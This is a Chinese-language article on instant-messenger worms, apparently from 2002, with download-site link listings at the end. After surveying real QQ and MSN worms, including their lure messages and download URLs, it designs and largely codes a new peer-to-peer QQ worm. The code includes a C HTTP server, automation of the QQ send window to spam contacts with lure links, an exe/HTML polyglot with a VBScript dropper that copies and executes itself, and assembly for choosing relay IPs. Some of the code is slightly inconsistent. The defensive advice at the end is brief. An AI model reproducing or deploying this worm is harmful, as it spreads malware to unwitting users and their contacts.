一.背景
以QQ为代表的即时通讯软件,在网络时代迅速而轻易地赢得了无数用户的心,然后以更加惊人的速度普及开去,目前,网络上使用QQ软件的注册人数已经超过1个亿,但树大招风,从今年病毒的发作情况来看,已经有将近100种QQ类型的病毒出现。由此可以看出,利用QQ这类即时通讯工具来进行传播的病毒,已经逐渐成为新病毒的流行趋势。
2002年8月25日,瑞星全球病毒监控中心截获了一个传染能力极强的恶性QQ病毒——“爱情森林”(trojan.sckiss)。病毒的制作者利用QQ聊天机制,向用户发送“这个你去看看很好看”的信息。如果用户收到此信息,并点击该链接,则会进入一个包含恶性攻击代码的恶意网页,此时病毒将会被自动下载并发作。同时,病毒还会利用用户的QQ好友名单,继续向外扩散而且病毒会侵占系统目录,继续“生生不息”。“爱情森林”病毒通过QQ发送信息之后,便开始进行本机的感染。
据悉,这种恶意网页用JS脚本语言编写,利用了JAVAEXPLOIT漏洞,所以不经用户的允许,便可以悄悄自动下载“爱情森林”病毒并执行。而后此恶意网页会修改用户注册表以进行破坏,并将用户的IE标题和IE默认首页改为:sckiss.yeah.net"target="_new">
http://sckiss.yeah.net爱情森林。
另一个名叫“QQ伪装专家”的新型恶性病毒会将真正的QQ程序改名,然后将自身伪装成QQ程序,并在桌面上建立快捷方式。用户点击这个快捷方式后,屏幕上会出现同真QQ一样的界面,当用户登录时,病毒便会将用户的QQ号码与密码偷偷发送到指定的邮箱,用句QQ迷们的语言就是,“你的QQ被黑了!”;
在原理上,这个病毒和QQ毫无关系,只是利用人们对QQ的熟悉性来欺骗用户而已。
必须注意的是,微软力推的一款即时通讯软件MSNMessenger,因为它与Windows系统的完美结合,用户群不在少数。2002年10月9日下午,金山公司反病毒应急处理中心截获了一例通过MSN聊天工具进行广泛传播的电脑病毒“GFleming”,经证实,这是世界上第一例通过微软即时聊天工具MSNMessager进行大规模传播的电脑病毒。“GFleming”病毒的传播非常的迅速,一旦用户感染该病毒,该蠕虫会首先查看用户是否安装了MSNMessager并且已经登录。若用户已经登录,该蠕虫就会通过MSNMessager的对话窗口向所有联系人名单中的人发送欺骗性的信息:
Hey!!Couldyoupleasecheckoutthisprogramforme?Imadeitmyselfandwantpeopletotestit.Itsareadmewiththeprogramthatexplainswhatitdoes!
http://home.no.net/downl0ad/BR2002.exe<--Thereyoucandownloadit!givemeadvicesonwhattoupgradeplease!!收到该信息的用户不小心点击这个链接执行了这个蠕虫的话,蠕虫就会继续通过MSNMessager向其他联系人发送同样的信息,引起连锁反应,造成病毒的快速传播。
‘CoolWorm‘的病毒的欺骗消息是:"GoTo
http://www.masenko-media.net/cool.htmlNoW!!!"点击这个连接会打开一个带有恶意Javascript程序的网站,他会抢夺受害者的好友名单,并且先每个人发送一个相同的邀请信息。这个信息同时也将地址发送电子邮件到名为
mmargae@wanadoo.nl的信箱中。
类似的病毒还有几例,原理相同,这里不再一一枚举。
总之,这类病毒的共性是:
一旦在机器上获得控制权,会首先查看用户是否安装了QQ或MSNMessager,发现后,该蠕虫就会通过对话窗口向在线好友发送欺骗性的信息,信息包含一个超级连接,因为在接受窗口中可以直接点击连接,启动IE,IE会和这个服务器连接,下载html页面。这个页面中含有恶意代码,把蠕虫下载到本机并运行,完成了一次传播。然后再以这台机器为基点,向本机所能发现的好友发送同样的欺骗性消息,传播迅速。
欺骗信息一般是邀请你去发送过来的网址去看看,如“看看这个,好东西
http://www.xxx.com/cool.html"。
从传播手段上看,病毒传播是一种C/S模式,即每台机器都是从指定的服务器下载,比如GFleming是,
http://home.no.net;QQ密码记录器是
http://xmc.nease.net;‘CoolWorm‘是
http://www.masenko-media.net/.这种方法的局限性是,一旦网站被封闭,病毒也就寿终正寝,不攻自灭了。
二.基于P2P思想QQ蠕虫的原理
为了增强蠕虫的健壮性,这里提出一种新思路:每感染一台机器后,都会在本机创建一个最简单的http服务器,然后启动新线程,在新线程中寻找QQ的”发送消息“窗口,一旦找到,通过设置消息文本框的内容并控制”发送消息(&S)"按钮来达到发送欺骗性消息的目的。
当对方收到消息,点击连接后,就会启动IE,IE和第一台机器的http服务器通信,下载html页面并执行其中的vbs代码,vbs将自身拷贝到机器上并运行,蠕虫完成一次传播。然后在新感染的机器上创建http服务器,再向他的好友发送消息。
主要代码如下(为节约篇幅,省略不必要的初始化和错误判断):
1.http服务器的实现
LisenSocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
saServer.sin_family=AF_INET;
saServer.sin_port=htons(5058);
saServer.sin_addr.s_addr=INADDR_ANY;
bind(LisenSocket,(LPSOCKADDR)&saServer,sizeof(structsockaddr));
listen(LisenSocket,SOMAXCONN);
CreateThread(0,0,(LPTHREAD_START_ROUTINE)SendQQMsg,0,0,0);
while(TRUE)
{
peerSocket=accept(LisenSocket,(LPSOCKADDR)&SockAddr,&nLen);SendFile();
}
voidSendFile()
{
BYTEbuf[1024];
DWORDByteRead;
::SetFilePointer(hFile,0,0,FILE_BEGIN);
ReadFile(hFile,buf,1024,&ByteRead,0);
while(ByteRead)
{
send(peerSocket,(constchar*)buf,ByteRead,0);
ReadFile(hFile,buf,1024,&ByteRead,0);
}
closesocket(peerSocket);
}
服务器在5058端口阻塞等待,不使用80,是避免防火墙对80号端口的敏感和限制。接受到来自远程的连接(由ie做客户端)后,把html文件传送过去,关闭连接。
2.操作QQ线程的实现
1)获得本机IP地址。
2)等待出现“发送消息”窗口。
3)获得这个窗口的QQ号,也就是这个好友的QQ号。判断是否已经向这个号发
送过,如果是,则转1),不是则发送,并在注册表中登记。
4)获得文本区句柄,设置新的消息。
5)向“发送消息(&S)"按钮发送BM_CLICK消息,发送这条信息。转1)。
DWORDWINAPISendQQMsg(LPVOIDlpParameter)
{
HKEYhKey;
charbuf[256];
HWNDhWnd,hTextWnd,hWndQQNumber,hWndButton;
charQQRoot[]="Software\\QQNums\\";
charQQRootNumber[128];
intQQNumberID=0x0DF;
POINTp={50,280};
structhostent*lpHostEnt;
charszLocalIP[30];//形如
http://202.118.224.2:5058gethostname(buf,256);
lpHostEnt=::gethostbyname(buf);
structin_addr*ia=(structin_addr*)lpHostEnt->h_addr;
::lstrcpy(szLocalIP,"
http://");::lstrcat(szLocalIP,inet_ntoa(*ia));
::lstrcat(szLocalIP,":5058");
while(TRUE)
{
::Sleep(1000);
hWnd=::FindWindow(0,"发送消息");
if(hWnd==NULL)
continue;
hWndQQNumber=::GetDlgItem(hWnd,QQNumberID);
if(hWndQQNumber==NULL)
continue;
::SendMessage(hWndQQNumber,WM_GETTEXT,256,(long)buf);
::lstrcpy(QQRootNumber,QQRoot);
::lstrcat(QQRootNumber,buf);
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,QQRootNumber,0,
KEY_QUERY_VALUE,&hKey)!=ERROR_SUCCESS)
{
RegCreateKey(HKEY_LOCAL_MACHINE,QQRootNumber,&hKey);
hTextWnd=::ChildWindowFromPointEx(hWnd,p,CWP_SKIPINVISIBLE);
::SendMessage(hTextWnd,WM_SETTEXT,30,(long)szLocalIP);
hWndButton=FindWindowEx(hWnd,0,0,"送讯息(&S)");
::SendMessage(hButton,BM_CLICK,0,0);
}
}
return1;
}
3.发送html页面的实现.
因为IE识别的是html,而不能执行exe.所以,html要包含exe.然后利用html
内嵌的vbs,生成并运行exe,从而达到传播的目的。
可是,对exe编码和解码具有一定的难度,如何才能使代码最简练,最节约空间呢?这里给出一种新思路。
把exe和html硬编码到一个文件,就相当于将exe文件指针移动到末尾,然后将html文件写到exe之后。这样,当文件扩展名是exe时,就执行exe(因为文件确实是PE结构),扩展名是html时,就当作html解释,此时exe内容就是乱码,显示在ie窗口之中。如下:
db'<HTML><HEAD><TITLE>hi</TITLE>'
db'<SCRIPTLANGUAGE="VBScript">'
db'<!--',0dh,0ah
db'Setfso=CreateObject("Scripting.FileSystemObject")',0dh,0ah
db'sf=fso.GetSpecialFolder(1)',0dh,0ah
db'sf=sf&"\PurpleMood.scr"',0dh,0ah
db'tif=fso.GetSpecialFolder(2)',0dh,0ah
db'tif=Left(tif,Len(tif)-4)',0dh,0ah
db'tif=tif&"TemporaryInternetFiles\Content.IE5"',0dh,0ah
db'Settif=FSO.GetFolder(tif)',0dh,0ah
db'GenerateAllFolderInformation(tif)',0dh,0ah
db'SetWshShell=CreateObject("WScript.Shell")',0dh,0ah
db'WshShell.Exec(sf)',0dh,0ah
db'FunctionGenerateFolderInformation(Folder)',0dh,0ah
db'SetFiles=Folder.Files',0dh,0ah
db'ForEachFileInFiles',0dh,0ah
db'ifStrComp("beautygirl[1].html",File.Name,1)=0Then',0dh,0ah
db'fso.CopyFileFile.path,sf',0dh,0ah
db'Endif',0dh,0ah
db'Next',0dh,0ah
db'EndFunction',0dh,0ah
db'FunctionGenerateAllFolderInformation(Folder)',0dh,0ah
db'SetSubFolders=Folder.SubFolders',0dh,0ah
db'ForEachSubFolderInSubFolders',0dh,0ah
db'GenerateFolderInformation(SubFolder)',0dh,0ah
db'Next',0dh,0ah
db'EndFunction',0dh,0ah
db'-->'
db'</SCRIPT></HEAD><BODY>Thankyoufortestit!</BODY></HTML>'
容易看出,html代码只是exe中的一段数据。exe运行后,创建http服务和监视QQ,继续传播。至此,一个完整的QQ蠕虫就完成了。
三.局限性与解决方案
如果目标机器禁止了vbs的运行,同样无法传播。但是,单纯以vbs为传播手段的病毒都可以大行其道,它也可以。
基于P2P思想,虽然不受固定服务器的限制。但是在某些情况下无法传播。比如,被感染的机器在内网中,尽管它可以被感染,但无法感染其他机器。因为
其他机器找不到它的ip.它无法作为服务器。
解决方法如下:
1.程序体内保存一块空间,是4的倍数(in_addr的大小),用来保存真正的IP.
2.在一台机器获得控制权后,得到本机IP(gethostname,gethostbyname),分析是否为内网
是则调用SelectTrueIP,从iplist中选择一个真正的ip,否则调用UpdateIPList,更新iplist,因为iplist可能还有未填充项或者过时的ip.验证是否过时向它发出连接即可。
3.这样,当机器处于内网时,会向好友发出
http://trueip:80的消息,对方则向trueip发出连接而不是内网的机器,和DRDos相似。代码如下:
IsActiveIPPROCIP:DWORD
LOCALVSocket:DWORD
pushecx
pushIPPROTO_TCP
pushSOCK_STREAM
pushAF_INET
callsocket
movVSocket,eax
pushIP
popTestIP
pushsizeof(sockaddr);Sizeofconnectstrucure=16
callIAI1;Connectstructure
dwAF_INET;Family
db0,80;Portnumber,avoidhtons:)
TestIPdd0;in_addrofserver
db8dup(0);Unused
IAI1:
pushVSocket
callconnect;ret0ifsucess
pusheax
pushVSocket
callclosesocket
popeax
popecx
ret4
IsActiveIPENDP
SelectTrueIP:
push64
popecx
movesi,offsetTrueIPList
STI1:lodsd
pusheax
callIsActiveIP;ret0ifsucess
.ifeax==0
subesi,4
lodsd
jmpSTIExit
.else
loopSTI1
.endif
xoreax,eax
STIExit:
ret
UpdateTrueIPPROCTrueIP:DWORD
push64
popecx
movesi,offsetTrueIPList
UT1:lodsd
.ifeax==0
pushTrueIP
pop[esi-4]
jmpUTExit
.else
loopUT1
.endif
push64
popecx
movesi,offsetTrueIPList
UT2:
lodsd
pusheax
callIsActiveIP;ret0ifsucess
.ifeax!=0
pushTrueIP
pop[esi-4]
jmpUTExit
.else
loopUT1
.endif
UTExit:
moveax,TrueIP
ret4
UpdateTrueIPENDP
TrueIPListdb256dup(0)
四.扩展
若把这种方法同时也应用到ICQ,MSN等IM软件,http服务器不变,只是查找发送消息窗口有所不同,但原理一样,只需要少量修改。再有一个SendMSNMsg和SendICQMsg线程即可。考虑到IM软件同时在线人数之多,再辅助以邮件等常规手段,传播速度十分可观。
五.防范措施
1、注意在线传输:常用的通讯软件如ICQ、QQ、MSNMessage均提供了在线传输功能,来源不可靠的传输内容请拒绝接收;即便可靠,接收后也要经过杀毒软件的扫描方能运行。2、小心页面链接:
如果用户在使用聊天软件时不小心上当,点击了不明网页链接,电脑就会在使用者完全不知情的情况下,从许多网站下载文件并自动运行。所以,千万别打开陌生人传来的页面链接!如果是好友送来的连接,要询问、确认后打开。这不是谁的漏洞,就象DDos攻击一样,是不可避免的正常危机。
六.结束语
QQ和MSN受到病毒侵袭的事件再一次强调了互联网世界真实的一面——任何流行的电脑程序最终都会成为被攻击的目标。
今后,我们不排除会有像CIH这样的恶性病毒通过QQ、ICQ、MSN等渠道进行广泛传播的可能,因此,加强对即时通讯软件的监控和保护是当务之急。
病毒正试图把触角延伸到所有可能的领域。与刚刚开始的攻击即时通讯软件的病毒一样,虽然手机病毒,PDA病毒等都还属于新兴“毒种”,病毒传播、侵害模式尚且属于萌芽状态,但是稍许的掉以轻心,都可能会导致巨大的不可挽回的损失。防患于未然,才是反病毒的大计。
分享到:
相关推荐
基于P2P的新型良性蠕虫传播策略基于P2P的新型良性蠕虫传播策略
P2P之UDP穿透NAT的原理与实现资料+源代码,适合初学者的探索与借用!是C语言的哦!
P2P 之 UDP穿透NAT的原理与实现(附源代码)
P2P 之 UDP穿透NAT的原理与实现(附源代码)P2PServer.rar
P2P 之 UDP穿透NAT的原理与实现(附源代码)P2PClient.rar
另外,《P2P技术揭秘:P2P网络技术原理与典型系统开发》配书光盘中收录了专门为《P2P技术揭秘:P2P网络技术原理与典型系统开发》录制的多媒体教学视频及书中涉及的源代码,便于读者更加直观、高效地学习。 《P2P技术...
随着P2P软件的推广与普及, P2P蠕虫已成为P2P网络安全的主要威胁之一,P2P蠕虫基于hit-list攻击邻居节点,具有隐蔽性好、攻击性强等特点。基于混合型良性蠕虫概念设计出自动优先趋进优质节点(APTHQN)的对抗策略,合理...
本文旨在用Delphi面向对象的方法实现P2P(Peer To Peer)(类QQ)会话系统。本文可作为学习P2P通信与面向对象程序设计的用例。 一、 通信组件:采用TIdUDPServer(属于Indy Servers组件板)。 二、 通信原理::利用P2P之...
C#P2P原理说明以及源代码C#P2P原理说明以及源代码C#P2P原理说明以及源代码
基于p2p的视频会议源代码,很高的参考价值。
全套BT源代码,C++编写,完全实现BT的功能,并且经过了大量和长期的实际应用。是可以提供正常商业服务的基础P2P文件共享软件。从开发到现在已经稳定测试2年以上,性能非常稳定。
基于P2P的点对点文件传输Delphi源代码.rar基于P2P的点对点文件传输Delphi源代码.rar基于P2P的点对点文件传输Delphi源代码.rar基于P2P的点对点文件传输Delphi源代码.rar基于P2P的点对点文件传输Delphi源代码.rar
《P2P网络技术原理与C++开发案例》一书中第九章即时通信系统的源代码,
基于java的p2p文件传输代码.rar基于java的p2p文件传输代码.rar基于java的p2p文件传输代码.rar基于java的p2p文件传输代码.rar基于java的p2p文件传输代码.rar基于java的p2p文件传输代码.rar基于java的p2p文件传输代码....
4.1.3 P2P网络病毒与蠕虫 71 4.1.4 结构化P2P网络的隐患 72 4.2 P2P应用与安全技术 76 4.2.1 P2P应用中的密码学技术 76 4.2.2 P2P应用中的网络安全技术 78 4.2.3 利用P2P网络解决安全问题 82 4.3 P2P...
qt基于TCP的P2P聊天源代码,亲测可用,供大家学习! qt基于TCP的P2P聊天源代码,亲测可用,供大家学习!
主要内容包括p2p概述、p2p网络拓扑结构、p2p网络搜索技术、p2p关键技术及应用、p2p网络中的nat穿透技术、基于p2p的bittorrent(后文简称bt)技术、基于p2p的emule文件共享技术、基于p2p的skype即时通信技术、基于p2p的...
p2p源代码,点对点源代码demo